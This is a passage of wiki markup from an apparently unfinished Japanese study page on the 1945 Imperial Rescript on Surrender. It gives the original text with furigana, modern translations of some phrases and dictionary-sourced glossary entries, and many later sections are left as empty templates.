&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;皇&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宗&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;神&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;霊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;謝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゃ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せんや、&lt;ruby&gt;&lt;rb&gt;是&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;政&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;府&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;をして&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;宣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;言&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;応&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ぜしむるに&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れる&lt;ruby&gt;&lt;rb&gt;所以&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ゆえん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なり。&lt;/p&gt;
&lt;/div&gt;
# [[#抑〻帝國臣民ノ康寧ヲ圖リ]]　（[[#抑〻]]　[[#康寧]]　）
# [[#萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ]]　（[[#萬邦&amp;#xE0102;]]　[[#共榮]]　[[#樂ヲ偕ニスル]]　[[#偕樂]]）
# [[#皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ]]　（[[#皇祖&amp;#xFE00;皇宗]]　[[#遺&amp;#xE0101;範]]）
# [[#朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101;]]　（[[#拳&amp;#xE0101;々]]　[[#措カサル]]）
# [[#曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦]]　（[[#曩ニ]]）
# [[#實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ]]　（[[#自存]]　[[#庻󠄀幾󠄁󠄁]]）
# [[#他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ]]
# [[#固ヨリ朕&amp;#xE0102;カ志ニアラス]]
# [[#然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ]]
# [[#朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰]]
# [[#朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100;]]
# [[#朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁]]
# [[#各〻最善ヲ盡セルニ拘ラス]]
# [[#戰局必スシモ好轉セス]]
# [[#世界ノ大勢亦我ニ利アラス]]
# [[#加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使&amp;#xE0101;用シテ]]
# [[#頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ]]
# [[#慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル]]
# [[#而モ尙交&amp;#xE0101;戰ヲ繼續セムカ]]
# [[#終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス]]
# [[#延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ]]
# [[#斯ノ如クムハ]]
# [[#朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ]]
# [[#皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ]]
# [[#是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ]]

=== 抑〻帝國臣民ノ康寧ヲ圖リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|抑|そも}}{{ruby|〻|そも}}、{{ruby|帝|てい}}{{ruby|国|こく}}{{ruby|臣|しん}}{{ruby|民|みん}}の{{ruby|康|こう}}{{ruby|寧|ねい}}を{{ruby|図|はか}}り、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：そもそも、帝国国民の平穏無事に尽力し、
&lt;/p&gt;
==== 抑〻 ====
*「抑〻」（そもそも）：接続詞の「そも」を二つ重ねた形。いったい（一体）、さて。&lt;ref&gt;[https://kotobank.jp/word/%E6%8A%91-555342#w-2032227 抑(ソモソモ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 康寧 ====
*「康寧」（こうねい）：やすらかなこと。平穏無事であること。安寧。&lt;ref&gt;[https://kotobank.jp/word/%E5%BA%B7%E5%AF%A7-497016#w-497016 康寧(コウネイ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 萬邦&amp;#xE0102;共榮ノ樂ヲ偕ニスルハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|万|ばん}}{{ruby|邦|ぽう}}{{ruby|共|きょう}}{{ruby|栄|えい}}の{{ruby|楽|たのしみ}}を{{ruby|偕|とも}}にするは、&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも出てくるフレーズ。）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：世界のすべての国々と共に栄える歓びを分かち合うことは、
&lt;/p&gt;
==== 萬邦&amp;#xE0102; ====
*「萬邦&amp;#xE0102;（万邦、ばんぽう）」：多くの国。あらゆる国。すべての国。&lt;ref&gt;[https://kotobank.jp/word/%E4%B8%87%E9%82%A6-607323#w-607323 万邦(バンポウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 共榮 ====
*「共榮（共栄）」：共に栄えること。&lt;ref&gt;[https://kotobank.jp/word/%E5%85%B1%E6%A0%84-477753#w-477753 共栄(キョウエイ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 樂ヲ偕ニスル ====
*「樂ヲ偕ニスル」（たのしみをともにする）：漢語の「[[#偕樂]]」と同じで、「多くの人々とともに楽しむこと。」
**「樂（楽）」（たのしみ）：心身が満たされて、快いこと。&lt;ref&gt;[https://kotobank.jp/word/%E6%A5%BD-43522#w-2040648 楽(ラク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 偕樂 ====
*「偕樂（偕楽）」（かいらく）： 多くの人々とともに楽しむこと&lt;ref&gt;[https://kotobank.jp/word/%E5%81%95%E6%A5%BD-458657#w-458657 偕楽(カイラク)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。『[[w:孟子 (書物)|孟子]]』の「梁恵王・上」にある「古之人與民偕樂故能樂也」（古の人は民と偕に楽しむ、故に能く楽しむなり）に由来し、水戸の[[w:偕楽園|偕楽園]]の名にも取り入れられている。
=== 皇祖&amp;#xFE00;皇宗ノ遺&amp;#xE0101;範ニシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|皇|こう}}{{ruby|祖|そ}}{{ruby|皇|こう}}{{ruby|宗|そう}}の{{ruby|遺|い}}{{ruby|範|はん}}にして、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：歴代天皇が遺されたお手本であり、
&lt;/p&gt;
====皇祖&amp;#xFE00;皇宗====
*「皇祖&amp;#xFE00;皇宗（皇祖皇宗）」：天皇の始祖と、当代天皇にいたるまでの歴代の天皇。&lt;ref&gt;[https://kotobank.jp/word/%E7%9A%87%E7%A5%96%E7%9A%87%E5%AE%97-496352#w-496352 皇祖皇宗(コウソコウソウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
====遺&amp;#xE0101;範====
*「遺&amp;#xE0101;範（遺範）」：前人ののこした手本。&lt;ref&gt;[https://kotobank.jp/word/%E9%81%BA%E7%AF%84-2008336 遺範(いはん)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 朕&amp;#xE0102;ノ拳&amp;#xE0101;々措カサル所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|朕|ちん}}の{{ruby|拳|けん}}{{ruby|々|けん}}{{ruby|措|お}}かざる{{ruby|所|ところ}}。&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも出てくるフレーズ。）&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：わたくしが、常に肝に銘じて大事に守っていることである。&lt;/p&gt;
====拳&amp;#xE0101;々====
*「拳&amp;#xE0101;々」：両手で捧げ持ち、固く握って離さない様子。転じて、熱心に心に持ち続けること。&lt;ref&gt;[https://kotobank.jp/word/%E6%8B%B3%E6%8B%B3-491747 拳拳(ケンケン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
*:『[[w:礼記|礼記]]』の「[[s:ja:禮記/中庸|中庸]]」に出て来る「拳拳服膺」（捧げ持つように心に銘記し、常に忘れないでいる）が有名&lt;ref&gt;[https://kotobank.jp/word/%E6%8B%B3%E6%8B%B3%E6%9C%8D%E8%86%BA-491781#w-491781 拳拳服膺(ケンケンフクヨウ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;。
====措カサル====
*「措カサル（措かざる）」：そのままにしておかない。
=== 曩ニ米英二國ニ宣戰セル所&amp;#xE0101;以モ亦 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|曩|さき}}に{{ruby|米|べい}}{{ruby|英|えい}}{{ruby|二|に}}{{ruby|国|こく}}に{{ruby|宣|せん}}{{ruby|戦|せん}}せる{{ruby|所以|ゆえん}}も{{ruby|亦|また}}、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：先にアメリカ・イギリス二か国に宣戦布告した理由も同様に、&lt;/p&gt;
==== 曩ニ ====
*「曩に」：さきに。「先に」とも表記する。&lt;ref&gt;[https://kotobank.jp/word/%E5%85%88%E3%81%AB-509391#w-1976887 先に(サキニ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 實ニ帝國ノ自存ト東亞ノ安定トヲ庻&amp;#xE0100;幾󠄁&amp;#xE0101;スルニ出テ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|実|じつ}}に{{ruby|帝|てい}}{{ruby|国|こく}}の{{ruby|自|じ}}{{ruby|存|そん}}と{{ruby|東|とう}}{{ruby|亜|あ}}の{{ruby|安|あん}}{{ruby|定|てい}}とを{{ruby|庶|しょ}}{{ruby|幾|き}}するに{{ruby|出|い}}で、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：まさに日本帝国の自立と生存および東アジア諸国の安定を心から願ってのことであり、&lt;/p&gt;
==== 自存 ====
*「自存」：他に頼らないで自分の力で生存すること。
*:&lt;span style=&quot;font-size:12pt;color:#900;&quot;&gt;（※昭和16年の対米英宣戦の詔書にも「帝国は今や自存自衛の為蹶然起って」というフレーズがある。）&lt;/span&gt;&lt;ref&gt;[https://kotobank.jp/word/%E8%87%AA%E5%AD%98-520220#goog_rewarded 自存(ジソン)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
==== 庻󠄀幾󠄁󠄁 ====
*「庻󠄀幾󠄁󠄁（庶幾 しょき）」：心から願うこと。&lt;ref&gt;[https://kotobank.jp/word/%E5%BA%B6%E5%B9%BE-533981#w-533981 庶幾(ショキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 他國ノ主權ヲ排シ領土ヲ侵󠄁スカ如キハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|他|た}}{{ruby|国|こく}}の{{ruby|主|しゅ}}{{ruby|権|けん}}を{{ruby|排|はい}}し{{ruby|領|りょう}}{{ruby|土|ど}}を{{ruby|侵|おか}}すが{{ruby|如|ごと}}きは、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：他国の主権を排除してその領土を侵略するようなことは、&lt;/p&gt;
=== 固ヨリ朕&amp;#xE0102;カ志ニアラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|固|もと}}より{{ruby|朕|ちん}}が{{ruby|志|こころざし}}にあらず。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 各〻最善ヲ盡セルニ拘ラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 戰局必スシモ好轉セス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 世界ノ大勢亦我ニ利アラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使&amp;#xE0101;用シテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 而モ尙交&amp;#xE0101;戰ヲ繼續セムカ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 斯ノ如クムハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第四段落 ==
&lt;!--◆第四段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ帝國ト共ニ&lt;span style=&quot;color:#500;&quot;&gt;終&amp;#xE0101;&lt;/span&gt;始東亞ノ解放ニ協力セル&lt;span style=&quot;color:#500;&quot;&gt;諸&amp;#xE0100;&lt;/span&gt;盟&lt;span style=&quot;color:#500;&quot;&gt;邦&amp;#xE0102;&lt;/span&gt;ニ對シ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;憾ノ意ヲ表セサルヲ得ス帝國臣民ニシテ戰陣ニ死シ職域ニ殉シ非命ニ斃レタル&lt;span style=&quot;color:#500;&quot;&gt;者&amp;#xE0101;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;及&amp;#xE0101;&lt;/span&gt;其ノ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;族ニ想ヲ致セハ五內爲ニ裂ク且戰傷ヲ&lt;span style=&quot;color:#500;&quot;&gt;負&amp;#xE0102;&lt;/span&gt;ヒ災&lt;span style=&quot;color:#500;&quot;&gt;禍&amp;#xE0100;&lt;/span&gt;ヲ蒙リ家業ヲ失ヒタル&lt;span style=&quot;color:#500;&quot;&gt;者&amp;#xE0101;&lt;/span&gt;ノ厚生ニ至リテハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ノ深ク軫念スル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;ナリ惟フニ今後帝國ノ受クヘキ苦&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;ハ固ヨリ&lt;span style=&quot;color:#500;&quot;&gt;尋&amp;#xE0101;&lt;/span&gt;常ニアラス爾臣民ノ衷&lt;span style=&quot;color:#500;&quot;&gt;情&amp;#xE0101;&lt;/span&gt;モ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;善ク之ヲ知ル然レトモ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ時&lt;span style=&quot;color:#500;&quot;&gt;運&amp;#xE0101;&lt;/span&gt;ノ趨ク&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;堪ヘ&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;キヲ堪ヘ&lt;span style=&quot;color:#500;&quot;&gt;忍&amp;#xE0101;&lt;/span&gt;ヒ&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;キヲ&lt;span style=&quot;color:#500;&quot;&gt;忍&amp;#xE0101;&lt;/span&gt;ヒ以テ萬世ノ爲ニ太&lt;span style=&quot;color:#500;&quot;&gt;平&amp;#xE0101;&lt;/span&gt;ヲ開カムト欲ス&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に、&lt;ruby&gt;&lt;rb&gt;終&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;始&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;東&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;解&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;放&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;協&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;力&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せる&lt;ruby&gt;&lt;rb&gt;諸&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;盟&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;邦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;遺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;憾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;意&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;表&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せざるを&lt;ruby&gt;&lt;rb&gt;得&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;え&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ず。&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;て